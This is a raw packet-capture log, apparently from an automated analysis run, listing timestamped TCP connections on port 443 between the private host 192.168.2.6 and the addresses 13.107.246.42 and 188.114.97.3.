Nov 20, 2024 08:12:30.942780972 CET	49798	443	192.168.2.6	188.114.97.3
Nov 20, 2024 08:12:30.942812920 CET	443	49798	188.114.97.3	192.168.2.6
Nov 20, 2024 08:12:30.942959070 CET	49798	443	192.168.2.6	188.114.97.3
Nov 20, 2024 08:12:30.942981005 CET	443	49798	188.114.97.3	192.168.2.6
Nov 20, 2024 08:12:30.942991972 CET	49798	443	192.168.2.6	188.114.97.3
Nov 20, 2024 08:12:30.943001986 CET	443	49798	188.114.97.3	192.168.2.6
Nov 20, 2024 08:12:30.943191051 CET	49798	443	192.168.2.6	188.114.97.3
Nov 20, 2024 08:12:30.943217039 CET	443	49798	188.114.97.3	192.168.2.6
Nov 20, 2024 08:12:30.943242073 CET	49798	443	192.168.2.6	188.114.97.3
Nov 20, 2024 08:12:30.943377972 CET	49798	443	192.168.2.6	188.114.97.3
Nov 20, 2024 08:12:30.943409920 CET	49798	443	192.168.2.6	188.114.97.3
Nov 20, 2024 08:12:30.952826023 CET	443	49798	188.114.97.3	192.168.2.6
Nov 20, 2024 08:12:30.953063965 CET	49798	443	192.168.2.6	188.114.97.3
Nov 20, 2024 08:12:30.953109026 CET	443	49798	188.114.97.3	192.168.2.6
Nov 20, 2024 08:12:30.953140020 CET	49798	443	192.168.2.6	188.114.97.3
Nov 20, 2024 08:12:30.953197956 CET	49798	443	192.168.2.6	188.114.97.3
Nov 20, 2024 08:12:30.957833052 CET	443	49798	188.114.97.3	192.168.2.6
Nov 20, 2024 08:12:31.062911034 CET	443	49795	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:31.063355923 CET	49795	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:31.063378096 CET	443	49795	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:31.063849926 CET	49795	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:31.063854933 CET	443	49795	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:31.066401005 CET	443	49796	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:31.066642046 CET	49796	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:31.066668034 CET	443	49796	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:31.067078114 CET	49796	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:31.067085981 CET	443	49796	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:31.096926928 CET	443	49799	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:31.097479105 CET	49799	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:31.097491026 CET	443	49799	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:31.098057985 CET	49799	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:31.098062038 CET	443	49799	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:31.138737917 CET	443	49800	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:31.139230013 CET	49800	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:31.139269114 CET	443	49800	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:31.139677048 CET	49800	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:31.139692068 CET	443	49800	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:31.164858103 CET	443	49795	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:31.164940119 CET	443	49795	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:31.164999962 CET	49795	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:31.165026903 CET	443	49795	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:31.165159941 CET	443	49795	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:31.165462971 CET	49795	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:31.165785074 CET	49795	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:31.165801048 CET	443	49795	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:31.165852070 CET	49795	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:31.165858030 CET	443	49795	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:31.167629004 CET	443	49796	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:31.167711973 CET	443	49796	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:31.167922020 CET	49796	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:31.168847084 CET	49802	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:31.168903112 CET	443	49802	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:31.168965101 CET	49802	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:31.169101954 CET	49796	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:31.169131994 CET	443	49796	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:31.169204950 CET	49796	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:31.169214964 CET	443	49796	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:31.170131922 CET	49802	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:31.170144081 CET	443	49802	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:31.171910048 CET	49803	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:31.171962023 CET	443	49803	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:31.172028065 CET	49803	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:31.172163963 CET	49803	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:31.172175884 CET	443	49803	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:31.193413019 CET	443	49801	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:31.193880081 CET	49801	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:31.193911076 CET	443	49801	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:31.194339991 CET	49801	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:31.194353104 CET	443	49801	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:31.196871996 CET	443	49799	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:31.196940899 CET	443	49799	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:31.197177887 CET	49799	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:31.197419882 CET	49799	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:31.197419882 CET	49799	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:31.197439909 CET	443	49799	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:31.197449923 CET	443	49799	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:31.199987888 CET	49804	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:31.200031042 CET	443	49804	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:31.200093031 CET	49804	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:31.200212955 CET	49804	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:31.200226068 CET	443	49804	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:31.238351107 CET	443	49800	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:31.238401890 CET	443	49800	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:31.238584995 CET	443	49800	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:31.238651037 CET	49800	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:31.238755941 CET	49800	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:31.238755941 CET	49800	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:31.238776922 CET	443	49800	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:31.238790035 CET	443	49800	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:31.241627932 CET	49805	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:31.241674900 CET	443	49805	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:31.241857052 CET	49805	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:31.241966009 CET	49805	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:31.241978884 CET	443	49805	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:31.298583031 CET	443	49801	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:31.298648119 CET	443	49801	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:31.298702002 CET	49801	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:31.298724890 CET	443	49801	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:31.298762083 CET	49801	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:31.298785925 CET	443	49801	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:31.298830032 CET	49801	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:31.298948050 CET	49801	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:31.298965931 CET	443	49801	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:31.298979998 CET	49801	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:31.298985004 CET	443	49801	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:31.302062988 CET	49806	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:31.302104950 CET	443	49806	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:31.302270889 CET	49806	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:31.302467108 CET	49806	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:31.302484989 CET	443	49806	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:31.805260897 CET	443	49803	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:31.805785894 CET	49803	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:31.805820942 CET	443	49803	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:31.806256056 CET	49803	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:31.806262970 CET	443	49803	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:31.812645912 CET	443	49802	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:31.813060045 CET	49802	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:31.813088894 CET	443	49802	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:31.813488007 CET	49802	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:31.813493967 CET	443	49802	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:31.853574038 CET	443	49804	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:31.854084969 CET	49804	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:31.854110003 CET	443	49804	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:31.854566097 CET	49804	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:31.854572058 CET	443	49804	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:31.891402960 CET	443	49805	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:31.891915083 CET	49805	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:31.891940117 CET	443	49805	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:31.892416000 CET	49805	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:31.892422915 CET	443	49805	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:31.906145096 CET	443	49803	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:31.906305075 CET	443	49803	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:31.906821966 CET	49803	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:31.906871080 CET	49803	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:31.906887054 CET	443	49803	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:31.906897068 CET	49803	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:31.906903028 CET	443	49803	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:31.909704924 CET	49808	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:31.909730911 CET	443	49808	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:31.909813881 CET	49808	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:31.909945011 CET	49808	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:31.909954071 CET	443	49808	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:31.914927959 CET	443	49802	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:31.914953947 CET	443	49802	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:31.915016890 CET	49802	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:31.915038109 CET	443	49802	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:31.915272951 CET	443	49802	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:31.915327072 CET	49802	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:31.915349007 CET	49802	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:31.915365934 CET	443	49802	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:31.915375948 CET	49802	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:31.915380955 CET	443	49802	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:31.917614937 CET	49809	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:31.917635918 CET	443	49809	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:31.921022892 CET	49809	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:31.921178102 CET	49809	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:31.921188116 CET	443	49809	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:31.953571081 CET	443	49804	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:31.953738928 CET	443	49804	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:31.953805923 CET	49804	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:31.953912020 CET	49804	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:31.953912020 CET	49804	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:31.953933001 CET	443	49804	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:31.953948021 CET	443	49804	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:31.956548929 CET	49810	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:31.956590891 CET	443	49810	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:31.956650972 CET	49810	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:31.956769943 CET	49810	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:31.956784964 CET	443	49810	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:31.965781927 CET	443	49806	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:31.966172934 CET	49806	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:31.966192961 CET	443	49806	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:31.966667891 CET	49806	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:31.966674089 CET	443	49806	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:31.993711948 CET	443	49805	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:31.993993044 CET	443	49805	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:31.994060993 CET	49805	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:31.994240046 CET	49805	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:31.994266987 CET	443	49805	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:31.994288921 CET	49805	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:31.994297028 CET	443	49805	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:31.997426987 CET	49811	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:31.997457981 CET	443	49811	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:31.997529984 CET	49811	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:31.997684002 CET	49811	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:31.997697115 CET	443	49811	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:32.065221071 CET	443	49806	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:32.065319061 CET	443	49806	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:32.065372944 CET	49806	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:32.065567970 CET	49806	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:32.065591097 CET	443	49806	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:32.065603971 CET	49806	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:32.065610886 CET	443	49806	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:32.068320036 CET	49812	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:32.068377972 CET	443	49812	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:32.068629980 CET	49812	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:32.068783045 CET	49812	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:32.068798065 CET	443	49812	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:32.517930984 CET	443	49809	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:32.518774986 CET	49809	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:32.518795013 CET	443	49809	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:32.521357059 CET	49809	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:32.521367073 CET	443	49809	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:32.563024044 CET	443	49808	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:32.563549995 CET	49808	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:32.563570976 CET	443	49808	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:32.564543962 CET	49808	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:32.564552069 CET	443	49808	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:32.623033047 CET	443	49809	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:32.623385906 CET	443	49809	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:32.623445034 CET	49809	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:32.623491049 CET	49809	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:32.623509884 CET	443	49809	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:32.623519897 CET	49809	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:32.623524904 CET	443	49809	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:32.626347065 CET	49813	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:32.626383066 CET	443	49813	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:32.626447916 CET	49813	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:32.626609087 CET	49813	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:32.626617908 CET	443	49813	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:32.646308899 CET	443	49811	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:32.646724939 CET	49811	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:32.646744967 CET	443	49811	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:32.648355961 CET	49811	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:32.648363113 CET	443	49811	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:32.672061920 CET	443	49808	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:32.672107935 CET	443	49808	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:32.672216892 CET	49808	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:32.672450066 CET	49808	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:32.672463894 CET	443	49808	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:32.676353931 CET	49814	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:32.676393986 CET	443	49814	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:32.676470041 CET	49814	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:32.676649094 CET	49814	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:32.676661968 CET	443	49814	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:32.725191116 CET	443	49812	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:32.748445034 CET	443	49811	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:32.748516083 CET	443	49811	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:32.748641968 CET	49811	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:32.773708105 CET	49812	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:32.789133072 CET	49812	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:32.789144993 CET	443	49812	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:32.790046930 CET	49812	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:32.790054083 CET	443	49812	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:32.790848970 CET	49811	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:32.790848970 CET	49811	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:32.790878057 CET	443	49811	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:32.790887117 CET	443	49811	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:32.794620037 CET	49815	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:32.794666052 CET	443	49815	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:32.794737101 CET	49815	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:32.794897079 CET	49815	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:32.794907093 CET	443	49815	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:32.871002913 CET	443	49810	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:32.881804943 CET	49810	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:32.881831884 CET	443	49810	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:32.887103081 CET	443	49812	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:32.887284994 CET	443	49812	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:32.889025927 CET	49812	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:32.890093088 CET	49810	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:32.890099049 CET	443	49810	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:32.893889904 CET	49812	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:32.893909931 CET	443	49812	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:32.893938065 CET	49812	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:32.893944979 CET	443	49812	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:32.937657118 CET	49816	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:32.937695026 CET	443	49816	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:32.937788010 CET	49816	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:32.961175919 CET	49816	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:32.961200953 CET	443	49816	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:32.989123106 CET	443	49810	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:32.989269972 CET	443	49810	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:32.989331007 CET	49810	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:32.989732027 CET	49810	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:32.989748955 CET	443	49810	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:32.989764929 CET	49810	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:32.989769936 CET	443	49810	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:33.032773018 CET	49817	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:33.032809973 CET	443	49817	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:33.032877922 CET	49817	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:33.033021927 CET	49817	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:33.033039093 CET	443	49817	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:33.426417112 CET	443	49814	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:33.428164959 CET	49814	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:33.428198099 CET	443	49814	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:33.428747892 CET	49814	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:33.428754091 CET	443	49814	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:33.432136059 CET	443	49813	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:33.432694912 CET	49813	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:33.432717085 CET	443	49813	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:33.433121920 CET	49813	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:33.433130026 CET	443	49813	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:33.446849108 CET	443	49815	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:33.447323084 CET	49815	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:33.447350979 CET	443	49815	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:33.447838068 CET	49815	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:33.447844982 CET	443	49815	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:33.526068926 CET	443	49814	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:33.526324034 CET	443	49814	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:33.526381016 CET	443	49814	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:33.526382923 CET	49814	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:33.526465893 CET	49814	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:33.526540995 CET	49814	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:33.526563883 CET	443	49814	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:33.526576996 CET	49814	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:33.526582003 CET	443	49814	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:33.529692888 CET	49818	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:33.529728889 CET	443	49818	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:33.529840946 CET	49818	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:33.529966116 CET	49818	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:33.529978991 CET	443	49818	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:33.530972958 CET	443	49813	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:33.531091928 CET	443	49813	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:33.531147003 CET	49813	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:33.531224966 CET	49813	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:33.531243086 CET	443	49813	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:33.531255960 CET	49813	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:33.531261921 CET	443	49813	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:33.533596039 CET	49819	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:33.533643961 CET	443	49819	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:33.533709049 CET	49819	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:33.533852100 CET	49819	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:33.533866882 CET	443	49819	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:33.555747032 CET	443	49815	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:33.555860996 CET	443	49815	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:33.555913925 CET	49815	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:33.556116104 CET	49815	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:33.556126118 CET	443	49815	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:33.556150913 CET	49815	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:33.556155920 CET	443	49815	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:33.559442997 CET	49820	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:33.559478998 CET	443	49820	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:33.559573889 CET	49820	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:33.559731007 CET	49820	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:33.559742928 CET	443	49820	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:33.613008976 CET	443	49816	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:33.613523960 CET	49816	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:33.613552094 CET	443	49816	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:33.614038944 CET	49816	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:33.614043951 CET	443	49816	13.107.246.42	192.168.2.6
